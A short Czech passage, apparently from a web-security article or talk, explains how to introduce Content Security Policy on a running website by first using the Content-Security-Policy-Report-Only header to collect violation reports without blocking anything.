Zavádět CSP na existující web není jednoduché. Musíte udělat inventuru všech
měřících kódů na webu, zjistit co na stránky všechno vkládáte a to zabere nějakou
dobu. CSP vám může pomoci. „Report Only“ varianta se zapíná hlavičkou Content-
Security-Policy-Report-Only a říká browseru, že když dojde k porušení nějaké
nastavené politiky, tak má sice poslat report, ale akci (zobrazení obrázku, spuštění
JS) má stejně provést. To se právě hodí pro zavádění CSP na běžící web. V logu
pak najdete co ještě máte povolit, pokud to dává smysl.